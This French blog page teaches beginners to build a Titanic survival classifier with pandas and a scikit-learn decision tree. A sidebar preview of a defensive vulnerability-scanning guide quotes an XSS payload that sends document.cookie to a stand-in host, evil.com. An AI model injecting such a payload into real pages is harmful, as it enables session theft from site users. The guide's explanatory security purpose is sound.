Accéder au contenu principal

Introduction au Machine Learning avec Python : Votre Premier Modèle IA de A à Z

L'intelligence artificielle, souvent associée à des concepts abstraits et complexes, devient accessible grâce à Python. Aujourd’hui, vous allez découvrir comment créer un modèle de machine learning qui apprend à prédire si un passager du Titanic a survécu ou non. Ce projet concret vous donnera une vraie compréhension de ce qu’est l’IA appliquée.

Étape 1 : Comprendre les données et le rôle de df

Dans ce tutoriel, nous utilisons un jeu de données très célèbre : celui du Titanic. Chaque ligne représente un passager, avec des colonnes comme son âge, son sexe, sa classe dans le bateau, le prix payé pour son billet, et surtout, s’il a survécu (Survived = 1) ou non (Survived = 0).

Quand on lit ce fichier CSV avec pandas, on stocke les données dans une structure appelée DataFrame, abrégée en df. Un DataFrame est un tableau à deux dimensions : les colonnes sont les variables (âge, sexe…), et chaque ligne est un exemple (un passager). Voici comment on charge ce fichier :

import pandas as pd

df = pd.read_csv('https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv')
print(df.head())

Étape 2 : Nettoyage des colonnes – pourquoi et comment

Le jeu de données brut contient beaucoup de colonnes inutiles ou incomplètes. Par exemple, les colonnes Name, Ticket, ou Cabin sont peu pertinentes pour notre tâche. De plus, certaines lignes n’ont pas de valeur dans la colonne Age.

Nous allons donc :

  • Sélectionner les colonnes pertinentes : Pclass (classe sociale), Sex, Age, Fare, et la cible Survived.
  • Remplacer les valeurs manquantes dans la colonne Age par la médiane.
  • Convertir les valeurs textuelles (comme "male" et "female") en nombres.
df = df[['Pclass', 'Sex', 'Age', 'Fare', 'Survived']]
df['Age'].fillna(df['Age'].median(), inplace=True)
df['Sex'] = df['Sex'].map({'male': 0, 'female': 1})

Étape 3 : Séparation entre variables explicatives et cible

Le machine learning fonctionne ainsi : on donne au modèle des entrées (par exemple Age, Sex, Fare) et on lui demande d’apprendre à prédire une sortie (Survived). On sépare donc notre tableau en deux :

X = df[['Pclass', 'Sex', 'Age', 'Fare']]
y = df['Survived']

Ensuite, pour bien évaluer notre modèle, on le teste sur des données qu’il n’a jamais vues :

from sklearn.model_selection import train_test_split

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)

Étape 4 : Entraînement du modèle

On utilise ici un arbre de décision, un algorithme simple mais très efficace pour des jeux de données de ce type :

from sklearn.tree import DecisionTreeClassifier

model = DecisionTreeClassifier()
model.fit(X_train, y_train)

Étape 5 : Évaluation de la précision

On peut maintenant mesurer la qualité de notre modèle :

from sklearn.metrics import accuracy_score

y_pred = model.predict(X_test)
print("Précision :", accuracy_score(y_test, y_pred))

Étape 6 : Utilisation du modèle sur un cas réel

Imaginons que vous ayez un nouveau passager et que vous vouliez prédire s’il aurait survécu. Voici un exemple :

import numpy as np

# Exemple : femme de 29 ans, en 2e classe, billet à 25 €
nouveau_passager = np.array([[2, 1, 29, 25]])
prediction = model.predict(nouveau_passager)
print("Survivante" if prediction[0] == 1 else "Non survivante")

Conclusion : vous venez de construire une intelligence artificielle

Vous avez vu comment charger des données, les nettoyer, entraîner un modèle, le tester, puis l’utiliser. Ce n’est pas de la théorie : c’est le cœur même du machine learning. Python rend cela accessible à tous, même sans être mathématicien ou ingénieur.

Le monde de l’IA ne vous est plus fermé. Il vous appartient maintenant de continuer à explorer, tester, modifier les paramètres, changer d’algorithme, et surtout : pratiquer.

Commentaires

Posts les plus consultés de ce blog

La cyber sécurité passe aussi par la sécurité. Ici, celle des chargeurs.

On me demande souvent si cela n'est pas sans risque de laisser son chargeur branché quand on n'utilise pas l'appareil. Analyse ci dessous! Il est fréquent de laisser un chargeur branché en permanence dans une prise, souvent par commodité. Pourtant, il est recommandé d’adopter le réflexe de le débrancher lorsqu’il n’est pas utilisé. 🔥 Un geste de sécurité avant tout Laisser un chargeur branché sans appareil connecté n’apporte aucun avantage fonctionnel . Bien que la consommation d’électricité soit minime , ce comportement peut présenter des risques liés à la surchauffe . Certains chargeurs, notamment de qualité inférieure, peuvent chauffer de manière excessive s’ils restent branchés en continu, ce qui augmente le risque d’incident électrique ou d’incendie . ⚡ Un impact énergétique négligeable D’un point de vue énergétique, la consommation d’un chargeur inactif est très faible . Recharger un téléphone pendant une année complète représente moins de 2 euros sur la facture...
🔐 Scanner son propre site web pour détecter les vulnérabilités : un guide complet pour débutants et curieux de cybersécurité 🧭 Pourquoi ce guide ? Internet est une vitrine. Et comme toute vitrine, elle peut être brisée. Un site web non sécurisé peut être : défiguré (defacement) utilisé pour héberger du code malveillant piraté pour voler des données utilisateurs utilisé comme relais pour des campagnes de phishing 👉 Pourtant, 80 % des failles exploitées aujourd’hui sont connues et évitables . Dans cet article, je vous montre comment scanner votre propre site pour détecter les vulnérabilités les plus courantes. 🚨 Exemples concrets d'attaques fréquentes 1. XSS (Cross-Site Scripting) But : injecter du JavaScript malveillant dans une page web. Exemple : <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script> Résultat : vol de session, redirection ou infection. 2. Exposition de fichiers sensibles But : accéder à des fich...